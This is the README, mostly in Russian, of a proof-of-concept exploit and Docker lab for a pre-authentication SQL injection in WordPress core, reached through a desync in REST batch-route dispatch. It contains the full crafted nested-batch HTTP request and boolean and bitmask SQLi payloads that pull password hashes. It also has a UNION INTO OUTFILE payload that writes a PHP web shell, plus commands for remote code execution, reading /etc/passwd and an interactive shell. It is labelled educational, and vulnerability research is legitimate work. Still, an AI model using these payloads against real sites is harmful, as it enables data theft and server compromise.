
Обучающий PoC + лаборатория для CVE-2026-63030 + CVE-2026-60137: SQLi без аутентификации в ядре WordPress через путаницу batch-маршрутов REST
Образовательный PoC и лабораторный стенд для CVE-2026-63030 + CVE-2026-60137: пред-аутентификационная SQL-инъекция в ядре WordPress через подмену маршрутов REST batch-API.
Обнаружено Адамом Кьюсом (Searchlight Cyber / Assetnote). Исправлено в WordPress 6.9.5 / 7.0.2.
# bring up the vulnerable lab
cd docker && ./setup.sh
cd ..
# detect
python3 -m exploit check http://localhost:8888
python3 -m exploit check http://localhost:8888 --confirm-sqli
# extract data (fast mode, default)
python3 -m exploit extract http://localhost:8888 --preset fingerprint
python3 -m exploit extract http://localhost:8888 --preset users
# extract data (blind mode, for comparison)
python3 -m exploit extract http://localhost:8888 --mode blind --preset fingerprint
# custom SQL query
python3 -m exploit extract http://localhost:8888 --query "SELECT @@version"
# RCE (requires FILE privilege, the lab grants it)
python3 -m exploit rce http://localhost:8888 --cmd "id"
python3 -m exploit rce http://localhost:8888 --cmd "cat /etc/passwd"
python3 -m exploit rce http://localhost:8888 -i # interactive shell
# proxy through Burp
python3 -m exploit extract http://localhost:8888 --proxy http://127.0.0.1:8080
# tear down
cd docker && ./setup.sh down
POST /wp-json/batch/v1 объединяет несколько вызовов REST API в один HTTP-запрос. У него нет собственной проверки аутентификации. Безопасность делегируется permission-колбэкам каждого подзапроса.
serve_batch_request_v1() создаёт два параллельных массива:
$matches[] отслеживает, какому обработчику направить каждый подзапрос$validation[] отслеживает, прошёл ли каждый подзапрос валидациюПри диспетчеризации оба массива индексируются одним и тем же смещением. Баг: когда путь подзапроса не проходит wp_parse_url(), в $validation добавляется WP_Error, но не в $matches. Из-за этого $matches сдвигается на один элемент, и каждый последующий подзапрос направляется не тому обработчику.
Десинхронизация используется дважды.
Внешний batch. Запрос /wp/v2/posts, в теле которого находится внутренний batch, направляется обработчику batch (самовызов). Он был провалидирован как запрос к записям, поэтому внутренний массив requests никогда не сверялся с batch-схемой. Это обходит список разрешённых методов и позволяет внутренним подзапросам использовать GET.
Внутренний batch. Запрос /wp/v2/categories?author_exclude=<SQLI> направляется обработчику get_items() записей. Схема категорий не определяет параметр author_exclude, поэтому он проходит валидацию без изменений. Но get_items() записей сопоставляет его с WP_Query::author__not_in, где значение подставляется в SQL как есть.
Уязвимый код WP_Query санитизировал author__not_in только в том случае, если он уже был массивом:
// PRE-FIX (vulnerable)
if (is_array($query_vars['author__not_in'])) {
$query_vars['author__not_in'] = array_map('absint', ...); // sanitize
}
$author__not_in = implode(',', (array) $query_vars['author__not_in']);
$where .= " AND post_author NOT IN ($author__not_in) "; // raw interpolation
Строковое значение полностью обходит проверку is_array(). Приведение (array) лишь оборачивает строку, не санитизируя её.
Чтение базы данных (на любом уязвимом сайте):
author_exclude = 0) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 80)-- -
Булев оракул: если записи возвращаются — истина, если пусто — ложь. Бинарный поиск по каждому символу.
Запись файлов (требует привилегии MySQL FILE, которой нет в WordPress по умолчанию):
author_exclude = 0) AND 1=0 UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/path/shell.php'-- -
Фактический HTTP-запрос:
{
"requests": [
{"method": "POST", "path": "http://"},
{"method": "POST", "path": "/wp/v2/posts", "body": {
"requests": [
{"method": "POST", "path": "http://"},
{"method": "POST", "path": "/wp/v2/categories?author_exclude=<SQLI>",
"body": {"name": "x", "orderby": false}},
{"method": "GET", "path": "/wp/v2/posts"}
]
}},
{"method": "POST", "path": "/batch/v1"}
]
}
Как рассогласуются массивы:
serve_batch_request_v1() обрабатывает подзапросы в двух циклах. Первый цикл валидирует каждый подзапрос и формирует $matches[] и $validation[]. Второй цикл направляет каждый подзапрос, используя $matches[$i] в качестве обработчика. Поскольку ошибка праймера отсутствует в $matches, второй цикл сопоставляет каждый запрос с неверным обработчиком.
POST /?rest_route=/batch/v1 (anonymous, no auth)
|
v
THE REQUEST YOU SEND
+--------------------------------------------------------------+
| |
| Loop 1 (validate): |
| [0] "http://" -> wp_parse_url fails |
| [1] POST /wp/v2/posts -> match: posts_handler |
| [2] POST /batch/v1 -> match: batch_handler |
| |
| $validation: [ error, OK(posts), OK(batch) ] |
| $matches: [ posts_handler, batch_handler ] |
| ^ |
| error skipped in $matches |
| |
| Loop 2 (dispatch): |
| i=0: error -> skip |
| i=1: POST /posts uses $matches[1] = batch_handler |
| -> posts body executed as a nested batch |
| i=2: POST /batch uses $matches[2] = out of bounds |
| |
+--------------------------------------------------------------+
|
v
NESTED BATCH (serve_batch_request_v1 calls itself on the body above)
+--------------------------------------------------------------+
| |
| Loop 1 (validate): |
| [0] "http://" -> wp_parse_url fails |
| [1] POST /categories -> match: categories_handler |
| [2] GET /wp/v2/posts -> match: posts_handler |
| |
| $validation: [ error, OK(cats), OK(posts) ] |
| $matches: [ categories_handler, posts_handler ] |
| |
| Loop 2 (dispatch): |
| i=0: error -> skip |
| i=1: POST /categories uses $matches[1] = posts_handler |
| -> categories request handled by posts get_items() |
| -> author_exclude not in cats schema, unsanitized |
| -> posts maps it to WP_Query::author__not_in |
| -> SQL INJECTION |
| |
+--------------------------------------------------------------+
Существующие PoC используют слепое булево извлечение: 1 бит на HTTP-запрос, около 224 запросов на хеш пароля. Этот репозиторий сочетает две техники, что ускоряет извлечение примерно в 75 раз.
Оракул X-WP-Total. WordPress добавляет SQL_CALC_FOUND_ROWS в запросы записей и помещает их количество в заголовок ответа X-WP-Total. Строки UNION учитываются на уровне SQL, даже несмотря на то, что PHP отфильтровывает их из тела ответа. Условные UNION-запросы кодируют отдельные биты:
0) AND 1=0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 1) > 0 -- bit 0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 2) > 0 -- bit 1
... -- bits 2-6
-- -
X-WP-Total = 0 означает, что бит не установлен, 1 — что установлен. Семь проб — один полный ASCII-символ.
Безлимитный внутренний batch. Внешний batch проверяет maxItems: 25 через свою схему. Подмена маршрутов обходит это: внутренний batch рекурсивно выполняется без проверки размера. Все 7 битовых проб для нескольких символов упаковываются в один запрос.
16 символов x 7 бит = 112 проб на запрос. 34-символьный phpass-хеш — за ~3 запроса вместо ~224.
$ python3 -m exploit extract http://target --mode blind --preset fingerprint
[*] using blind boolean oracle (binary search, 1 bit per request)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 198 requests sent
$ python3 -m exploit extract http://target --preset fingerprint
[*] using X-WP-Total bitmask oracle (16 chars/request)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 3 requests sent
Только для авторизованного тестирования безопасности и в образовательных целях. Используйте исключительно против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.